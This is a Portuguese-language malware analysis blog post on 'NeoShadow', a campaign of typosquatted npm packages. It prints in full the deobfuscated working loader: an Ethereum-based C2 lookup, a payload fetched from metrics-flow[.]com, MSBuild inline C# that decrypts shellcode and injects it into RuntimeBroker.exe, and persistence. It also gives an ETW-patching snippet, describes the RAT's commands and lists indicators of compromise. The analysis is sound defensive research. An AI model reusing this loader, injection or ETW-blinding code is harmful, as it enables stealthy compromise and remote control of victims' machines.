Em 30 de dezembro, um súbito aumento de novos pacotes npm de um único autor chamou nossa atenção. Nosso motor de análise sinalizou vários deles como suspeitos logo após aparecerem. Estamos chamando esta campanha/ator de ameaça de "NeoShadow", com base em um identificador comum visto em seu payload de estágio 2. Os pacotes identificados foram:
- viem-js
- cyrpto
- tailwin
- supabase-js

Todos foram lançados pelo usuário cjh97123. Todos são pacotes de typo-squatting, o que não é novidade. Mas ficamos intrigados com o malware real que encontramos dentro deles. Não apenas descobrimos que a ofuscação não era facilmente desofuscada por ferramentas comuns, mas também pudemos perceber que o malware estava fazendo coisas bastante inovadoras. Então, nos propusemos a melhorar nossas cadeias de ferramentas de desofuscação mais uma vez e a desvendar este malware.
Estágio 0 - JS Malicioso no npm
A primeira parte de nossa investigação começa com este arquivo de setup, mas esteja avisado: ele logo nos levará a territórios estranhos e maravilhosos. Este arquivo JavaScript, localizado em scripts/setup.js em todos os pacotes, serve como um loader multi-estágio, exclusivo para Windows. Seu comportamento pode ser resumido nas seguintes etapas ordenadas:
1️⃣ Validação de Plataforma e Ambiente
- 🪟 Confirma a execução em Windows
- 🧪 Aplica uma heurística anti-análise contando as entradas do Log de Eventos do Sistema Windows
- 🚫 Encerra precocemente em ambientes de baixa atividade ou semelhantes a sandboxes
2️⃣ Configuração Dinâmica via Blockchain
- ⛓️ Consulta um smart contract Ethereum usando a API eth_call da Etherscan
- 📤 Extrai uma string armazenada dinamicamente de dados on-chain
- 🌐 Trata o valor decodificado como uma URL base de C2
- 🔁 Recorre a um domínio hardcoded se a consulta na blockchain falhar
3️⃣ Aquisição de Payload Secreto
- 📡 Solicita um arquivo JavaScript remoto disfarçado de analytics
- 🫥 Localiza um blob codificado em Base64 oculto dentro de um comentário em bloco
- 📦 Usa o comentário apenas como um Container de payload, não como código executável
4️⃣ Execução Living-off-the-Land (MSBuild)
- 🛠️ Escreve um temporário projeto MSBuild (
.proj) arquivo - 🧬 Incorpora código C# inline usando CodeTaskFactory
- 🚫 Executa sem descartar ou compilar um executável autônomo
- 🧾 Depende de um binário confiável do Windows (MSBuild.exe)
5️⃣ Descriptografia de Payload
- 🔐 Decodifica o payload Base64
- 🔑 Deriva uma chave RC4 aplicando máscara XOR nos primeiros 16 bytes
- 🔓 Descriptografa o payload restante na memória
6️⃣ Injeção e Execução de Processo
- 🧠 Inicia RuntimeBroker.exe em estado suspenso
- 💉 Aloca memória no processo remoto
✍️ Escreve o shellcode descriptografado - ⚡ Executa via APC injection (
QueueUserAPC+ResumeThread)
7️⃣ Implantação de Artefato Secundário
- 📥 Opcionalmente baixa um arquivo de configuração subsequente
- 📁 Persiste-o em:
%APPDATA%\Microsoft\CLR\config.proj
É bastante. Se você estiver curioso, aqui está o código real após nossa desobfuscação:
const {
execSync: a0_0x284172
} = require("child_process");
const a0_0x363405 = require("os");
const a0_0x53848c = require("path");
const a0_0x651569 = require("fs");
const a0_0x7f4e56 = "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC";
async function a0_0x2da91a() {
if (!a0_0x7f4e56 || "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".length < 10 || !"0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".startsWith("0x")) return null;
const _0x40ca65 = require("https");
return new Promise(_0x18a121 => {
_0x40ca65.get("https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=0x13660FD7Edc862377e799b0Caf68f99a2939B5cC&data=0xd6bd8727&apikey=GAH6BHW1WXF3TNQ4AH3G44B7BWVVKPKSV5", _0xc12477 => {
const _0x5a6f92 = {
xSUuD: function (_0x8e23dc, _0x473cc1) {
return _0x8e23dc !== _0x473cc1;
},
kByHu: function (_0x291b51, _0x45ee39, _0x314df2) {
return _0x291b51(_0x45ee39, _0x314df2);
},
TSNUY: function (_0x551c1c, _0xa10773) {
return _0x551c1c * _0xa10773;
},
IxNWN: function (_0x5bf459, _0x3b5803) {
return _0x5bf459 < _0x3b5803;
},
TNyat: function (_0x2a4142, _0x55bc29) {
return _0x2a4142 + _0x55bc29;
},
jmkEP: "http",
bpmxg: function (_0x596591, _0x2230d0) {
return _0x596591(_0x2230d0);
}
};
let _0x44c1fc = "";
_0xc12477.on("data", _0x4c04af => _0x44c1fc += _0x4c04af);
_0xc12477.on("end", () => {
try {
const _0x19ede0 = JSON.parse(_0x44c1fc);
if (_0x19ede0.result && _0x19ede0.result !== "0x") {
const _0x501fdb = _0x19ede0.result.slice(2);
const _0xacca97 = _0x5a6f92.kByHu(parseInt, _0x501fdb.slice(64, 128), 16);
const _0x4d9687 = _0x501fdb.slice(128, 128 + _0xacca97 * 2);
let _0x2d977d = "";
for (let _0x39ae37 = 0; _0x39ae37 < _0x4d9687.length; _0x39ae37 += 2) {
_0x2d977d += String.fromCharCode(parseInt(_0x4d9687.slice(_0x39ae37, _0x39ae37 + 2), 16));
}
if (_0x2d977d.startsWith("http")) {
_0x5a6f92.bpmxg(_0x18a121, _0x2d977d);
return;
}
}
} catch (_0x34b9f3) {}
_0x18a121(null);
});
}).on("error", () => _0x18a121(null));
});
}
function a0_0x1c5097() {
if (a0_0x363405.platform() !== "win32") return false;
try {
const _0x5962fa = a0_0x284172("powershell -c \"(Get-WinEvent -LogName System -MaxEvents 5000 -ErrorAction SilentlyContinue).Count\"", {
encoding: "utf8",
windowsHide: true,
timeout: 10000
}).trim();
return parseInt(_0x5962fa, 10) >= 3000;
} catch (_0x3c40cc) {
return false;
}
}
function a0_0x218fb4(_0x42ee70, _0x4bce67) {
const _0x50f164 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe";
const _0x1d3b60 = a0_0x363405.tmpdir();
const _0x112a23 = a0_0x53848c.join(_0x1d3b60, Math.random().toString(36).slice(2) + ".proj");
a0_0x651569.writeFileSync(_0x112a23, "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n<Target Name=\"Build\"><T /></Target>\n<UsingTask TaskName=\"T\" TaskFactory=\"CodeTaskFactory\" AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework64\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\">\n<Task><Code Type=\"Class\" Language=\"cs\"><![CDATA[\nusing System;using System.IO;using System.Net;\nusing System.Runtime.InteropServices;\nusing Microsoft.Build.Framework;using Microsoft.Build.Utilities;\npublic class T : Task {\n[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }\n[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }\n[DllImport(\"kernel32.dll\", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);\n[DllImport(\"kernel32.dll\")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);\n[DllImport(\"kernel32.dll\")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);\n[DllImport(\"kernel32.dll\")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);\n[DllImport(\"kernel32.dll\")] static extern uint ResumeThread(IntPtr a);\n[DllImport(\"kernel32.dll\")] static extern bool CloseHandle(IntPtr a);\n\nstatic byte[] RC4(byte[] data, byte[] key) {\n byte[] s = new byte[256];\n for (int i = 0; i < 256; i++) s[i] = (byte)i;\n int j = 0;\n for (int i = 0; i < 256; i++) {\n j = (j + s[i] + key[i % key.Length]) & 0xFF;\n byte t = s[i]; s[i] = s[j]; s[j] = t;\n }\n byte[] o = new byte[data.Length];\n int x = 0, y = 0;\n for (int k = 0; k < data.Length; k++) {\n x = (x + 1) & 0xFF;\n y = (y + s[x]) & 0xFF;\n byte t = s[x]; s[x] = s[y]; s[y] = t;\n o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]);\n }\n return o;\n}\n\nstatic byte[] PolyDecode(byte[] payload) {\n byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};\n byte[] key = new byte[16];\n for (int i = 0; i < 16; i++) key[i] = (byte)(payload[i] ^ mask[i]);\n byte[] enc = new byte[payload.Length - 16];\n Array.Copy(payload, 16, enc, 0, enc.Length);\n return RC4(enc, key);\n}\n\npublic override bool Execute() {\ntry {\nbyte[] raw = Convert.FromBase64String(\"" + _0x42ee70 + "\");\nbyte[] d = PolyDecode(raw);\n\nSI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;\nif (!CreateProcessW(\"C:\\\\Windows\\\\System32\\\\RuntimeBroker.exe\", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;\nIntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);\nif (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }\nuint w = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref w);\nQueueUserAPC(addr, pi.hThread, IntPtr.Zero); ResumeThread(pi.hThread);\nCloseHandle(pi.hThread); CloseHandle(pi.hProcess);\n\ntry {\nvar wc = new WebClient();\nstring proj = wc.DownloadString(\"" + _0x4bce67 + "/_next/data/config.json\");\nstring dir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), \"Microsoft\", \"CLR\");\nDirectory.CreateDirectory(dir);\nFile.WriteAllText(Path.Combine(dir, \"config.proj\"), proj);\n} catch {}\n} catch {} return true;\n}}\n]]></Code></Task></UsingTask></Project>");
try {
a0_0x284172("\"" + _0x50f164 + "\" \"" + _0x112a23 + "\" /nologo /noconsolelogger", {
windowsHide: true,
timeout: 30000,
stdio: "ignore"
});
} catch (_0x48f097) {}
try {
a0_0x651569.unlinkSync(_0x112a23);
} catch (_0x245ac6) {}
return true;
}
async function a0_0x46b335() {
if (a0_0x363405.platform() !== "win32") return;
if (!a0_0x1c5097()) return;
try {
const _0x2186b3 = require("https");
let _0x6212ce = await a0_0x2da91a();
if (!_0x6212ce) _0x6212ce = "https://metrics-flow[.]com";
if (!_0x6212ce || !_0x6212ce.startsWith("http")) return;
const _0xe78890 = _0x6212ce + "/assets/js/analytics.min.js";
const _0x4a6c3b = await new Promise((_0x3a7450, _0x340a89) => {
_0x2186b3.get(_0xe78890, _0x891520 => {
let _0x470b55 = "";
_0x891520.on("data", _0x32cd17 => _0x470b55 += _0x32cd17);
_0x891520.on("end", () => _0x3a7450(_0x470b55));
}).on("error", _0x340a89);
});
const _0x168fcf = _0x4a6c3b.match(/\/\*(.+)\*\//);
if (!_0x168fcf || !_0x168fcf[1]) return;
a0_0x218fb4(_0x168fcf[1], _0x6212ce);
} catch (_0x1b35d8) {}
}
a0_0x46b335()["catch"](() => {});
Isso nos permite ver a lógica com mais clareza. É uma abordagem inovadora usar MSBuild e código C#. Assim como na outra versão, ele tenta baixar o payload de https://metrics-flow[.]com/assets/js/analytics.min.js e descriptografá-lo com uma chave RC4.
Estágio 1 - Que MSBuild é esse?
Uma coisa que você notará no código é que ele tenta obter o arquivo _next/data/config.json do domínio C2. Então eu o obtive, e ele retornou uma versão melhor do script MSBuild:
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build"><T /></Target>
<UsingTask TaskName="T" TaskFactory="CodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
<Task><Code Type="Class" Language="cs"><![CDATA[
using System;using System.Net;using System.Text.RegularExpressions;using System.Runtime.InteropServices;
using Microsoft.Build.Framework;using Microsoft.Build.Utilities;
public class T : Task {
[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }
[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }
[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);
[DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);
[DllImport("kernel32.dll")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);
[DllImport("kernel32.dll")] static extern uint ResumeThread(IntPtr a);
[DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr a);
static byte[] RC4(byte[] data, byte[] key) {
byte[] s = new byte[256]; for (int i = 0; i < 256; i++) s[i] = (byte)i;
int j = 0; for (int i = 0; i < 256; i++) { j = (j + s[i] + key[i % key.Length]) & 0xFF; byte t = s[i]; s[i] = s[j]; s[j] = t; }
byte[] o = new byte[data.Length]; int x = 0, y = 0;
for (int k = 0; k < data.Length; k++) { x = (x + 1) & 0xFF; y = (y + s[x]) & 0xFF; byte t = s[x]; s[x] = s[y]; s[y] = t; o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]); }
return o;
}
static string GetC2FromEth(string contract, string apiKey) {
if (string.IsNullOrEmpty(contract) || !contract.StartsWith("0x")) return null;
try {
var w = new WebClient();
var url = "https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=" + contract + "&data=0xd6bd8727&apikey=" + apiKey;
var json = w.DownloadString(url);
var m = Regex.Match(json, "\"result\":\"(0x[0-9a-fA-F]+)\"");
if (!m.Success) return null;
var hex = m.Groups[1].Value.Substring(2);
if (hex.Length < 130) return null;
var strLen = Convert.ToInt32(hex.Substring(64, 64), 16);
if (strLen <= 0 || strLen > 500) return null;
var strHex = hex.Substring(128, strLen * 2);
var chars = new char[strLen];
for (int i = 0; i < strLen; i++) chars[i] = (char)Convert.ToByte(strHex.Substring(i * 2, 2), 16);
var c2 = new string(chars);
return c2.StartsWith("http") ? c2 : null;
} catch { return null; }
}
public override bool Execute() {
try {
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
string c2 = GetC2FromEth("", "");
if (string.IsNullOrEmpty(c2)) c2 = "https://metrics-flow.com";
if (string.IsNullOrEmpty(c2) || !c2.StartsWith("http")) return true;
var w = new WebClient();
var cfg = w.DownloadString(c2 + "/assets/js/analytics.min.js");
if (!cfg.StartsWith("/*") || !cfg.EndsWith("*/")) return true;
cfg = cfg.Substring(2, cfg.Length - 4);
var raw = Convert.FromBase64String(cfg);
byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};
var key = new byte[16]; for (int i = 0; i < 16; i++) key[i] = (byte)(raw[i] ^ mask[i]);
var enc = new byte[raw.Length - 16]; Array.Copy(raw, 16, enc, 0, enc.Length);
var d = RC4(enc, key);
SI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;
if (!CreateProcessW("C:\\Windows\\System32\\RuntimeBroker.exe", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);
if (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }
uint written = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref written);
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
} catch {} return true;
}}
]]></Code></Task></UsingTask></Project>Isso nos permite ver a lógica com mais clareza. É uma abordagem inovadora usar MSBuild e código C#. Assim como na outra versão, ele tenta baixar o payload de https://metrics-flow[.]com/assets/js/analytics.min.js e descriptografá-lo com uma chave RC4.
Estágio 2 - Análise de shellcode
Neste ponto, ficamos naturalmente curiosos sobre o que justificava o esforço por trás de um mecanismo de entrega tão inovador. Após descriptografar o payload, descobrimos que ele continha shellcode, como esperado.
Ao analisar os bytes brutos do payload descriptografado, dois nomes imediatamente nos chamaram a atenção: NeoShadowV2DeriveKey2026 e Global\NSV2_8e4b1d. A ligação entre eles é difícil de ignorar. NS é uma abreviação natural para NeoShadow, e ambas as strings compartilham o mesmo V2 marcador. Juntos, estes não parecem acidentais ou genéricos; eles se assemelham a rótulos internos dos autores. Com base nesta consistência, nos referimos ao ator de ameaça por trás desta atividade como NeoShadow. Ver a mesma nomenclatura aparecer em rotinas criptográficas e controles de execução confere ao malware uma identidade clara e sugere um conjunto de ferramentas deliberadamente versionado e ativamente mantido, em vez de um experimento isolado.
Em seguida, executamos o shellcode através do Binary Ninja, que imediatamente produziu uma versão C semi-legível. Apenas.. São 4000 linhas de C feio. 🥹

Então, alimentamos isso ao Claude para obter uma versão mais limpa. E, de fato, ele gerou uma versão do código C de 1900 linhas, agradável e legível. Isso nos leva à próxima parte da nossa aventura.
Estágio 3 - Um rato na build
O payload final é um backdoor completo projetado para acesso de longo prazo. Uma vez em execução, ele entra em um loop de beacon, verificando o servidor C2, reportando informações do sistema e buscando comandos. O implante é leve por design: ele estabelece acesso e fornece uma primitiva de execução, enquanto toda a funcionalidade de pós-exploração é enviada como módulos descartáveis.
Comportamento do Beacon
- 📡 Envia check-ins criptografados via HTTPS POST
- 🪪 Inclui fingerprint do host: nome do computador, nome de usuário, ID do agente
- 🔀 Randomiza caminhos de URL para mimetizar tráfego legítimo (
/assets/js/,/api/v1/,/wp-content/, etc.) - 🏳️🌈 Marca requisições com o
X-Agent-Idheader para rastreamento da vítima - ⏲️ Suporta intervalo de sleep configurável com jitter (padrão 20%)
Criptografia
Todo o tráfego C2 é criptografado com ChaCha20, uma cifra de fluxo preferida por sua velocidade e segurança. As chaves são estabelecidas via Curve25519 ECDH.
Conjunto de Comandos
Os operadores têm três comandos à sua disposição:
sleep
- ⏱️ Ajusta o intervalo do beacon em tempo real
- 🔇 Permite que os operadores fiquem em silêncio durante as fases de persistência ou acelerem para engajamento ativo
módulo
- 🌐 Busca o payload de uma URL
- 📦 Se for uma DLL: localiza
ReflectiveLoaderexporta, injeta sem tocar no disco - 💉 Se for shellcode: injeta diretamente em
RuntimeBroker.exevia injeção APC - 🧰 Mecanismo principal para a implantação de ferramentas de pós-exploração
injetar
- 🔧 Aceita shellcode codificado em base64 diretamente no comando
- 🔒 Mantém tudo dentro do canal C2 criptografado
- ⚡ Mesmo caminho de injeção que o módulo, apenas sem o fetch de rede
Tratamento de Resposta
- ✅ Retorna OK ou DLL OK em caso de sucesso
- ❌ Erros descritivos: Error: alloc, Error: fetch, Error: decode, Error: inject, Error: not PE
- 📤 DLLs injetadas podem escrever em um buffer compartilhado que é exfiltrado na resposta
- 🔁 Toda a comunicação usa a mesma criptografia ChaCha20 que o beacon
Este pequeno e minimalista Trojan de Acesso Remoto (RAT) é bastante engenhoso. Sua única função é estabelecer um link C2 persistente e atuar como um carregador de primeira fase para malwares mais potentes. Isso fornece aos atacantes um ponto de entrada flexível e discreto para implantar ferramentas secundárias (por exemplo, keyloggers ou ransomware) e escalar o ataque à vontade.
Recursos interessantes
O malware contém alguns recursos engenhosos para tentar se esconder e seu servidor C2, que descrevemos abaixo.
🙈Cegando o Host: Patching de ETW
Event Tracing for Windows é o sistema nervoso da telemetria moderna do Windows. Quando um assembly .NET é carregado, o ETW o detecta. Quando o PowerShell executa um bloco de script, o ETW o registra. Quando um processo é iniciado, um thread é criado, uma DLL é carregada, uma conexão de rede é estabelecida, eventos ETW são emitidos e produtos de segurança os consomem. Plataformas de segurança, incluindo soluções de detecção e resposta de endpoint (EDR) e ferramentas SIEM, dependem fortemente do ETW para detecção. Desabilitar o ETW prejudica gravemente a visibilidade dessas ferramentas de segurança. Note que esta não é uma técnica nova; ela é bem conhecida há anos.
O implante faz exatamente isso. Antes de estabelecer comunicações C2 ou realizar qualquer atividade suspeita, ele localiza NtTraceEvent em ntdll.dll, a função de baixo nível pela qual toda a emissão de eventos ETW eventualmente passa. Ele resolve o endereço através de sua resolução de API padrão baseada em hash (hash 0xDECFC1BF), então chama VirtualProtect para tornar a memória da função gravável:
char funcName[] = "NtTraceEvent";
char* ntTraceEvent = GetProcAddress(hNtdll, funcName);
DWORD oldProtect;
VirtualProtect(ntTraceEvent, 4, PAGE_EXECUTE_READWRITE, &oldProtect);Com acesso de escrita em mãos, ele sobrescreve os primeiros quatro bytes da função com um stub simples que retorna sucesso sem fazer nada:
// Before patching
NtTraceEvent:
4c 8b d1 mov r10, rcx
b8 XX XX 00 00 mov eax, <syscall#>
0f 05 syscall
c3 ret
// After patching
NtTraceEvent:
48 33 c0 xor rax, rax ; rax = 0 (STATUS_SUCCESS)
c3 ret ; return immediatelyÉ isso. Quatro bytes, 48 33 C0 C3, e todo evento ETW no sistema para de ser disparado. A função retorna STATUS_SUCCESS para que os chamadores não apresentem erros ou tentem novamente, mas nenhum evento chega ao kernel. Produtos de segurança que consultam provedores ETW recebem silêncio.
🙈Camuflagem de Servidor C2
Então, verificamos o domínio C2 metrics-flow[.]com, e demos boas risadas da tentativa dos atacantes de se camuflarem. Eles construíram uma camada inteligente de segurança projetada para despistar ferramentas automatizadas e pesquisadores humanos. Ao acessar a página principal, você não obtém o mesmo conteúdo duas vezes. Em vez disso, o servidor entrega um conjunto completamente aleatório de conteúdo falso, fazendo com que pareça um site totalmente normal e não malicioso. Muito astuto, e isso facilitará a identificação dos servidores C2 para pesquisadores no futuro. 😀



Domínio C2
O domínio C2 foi registrado aproximadamente na mesma época em que o malware foi publicado pela primeira vez no npm, em 30 de dezembro de 2025, conforme visto nas informações do whois:

Alterações da Versão 2
Toda a análise até este ponto é baseada na versão implantada em 30 de dezembro de 2025. Outra versão dos pacotes foi implantada em 2 de janeiro de 2026. A mudança mais notável é que um executável do Windows, analytics.node, também está incluído. Notamos que nenhum AV no VirusTotal o detectou como malicioso:

Além disso, o arquivo JavaScript foi ofuscado de forma diferente e é mais desafiador de desofuscar do que a versão original, com o que parecem ser novas técnicas de ofuscação incluídas na versão.
Também obtemos outra referência ao projeto sendo chamado NeoShadow: C:\\Users\\admin\\Desktop\\NeoShadow\\core\\loader\\native\\build\\Release\\analytics.pdb
Conclusão
No momento, não tentamos recuperar um payload dinâmico do servidor C2. No entanto, vimos claramente uma tentativa bem-engenheirada de entregar o que acreditamos ser um malware novo como parte de uma campanha maior e anteriormente indocumentada, que construiu seu próprio servidor C2, RAT, mecanismo de entrega e técnicas de camuflagem para ocultar seu servidor C2.
🚨 Indicadores de comprometimento
- Domínio:
metrics-flow[.]com - Endereço IP:
80.78.22[.]206 - Binário:
012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07 - Endereço Ethereum:
0x13660FD7Edc862377e799b0Caf68f99a2939B5cC - Nome do Mutex:
Global\NSV2_8e4b1d - Pacotes NPM:
viem-jscyrptotailwinsupabase-js

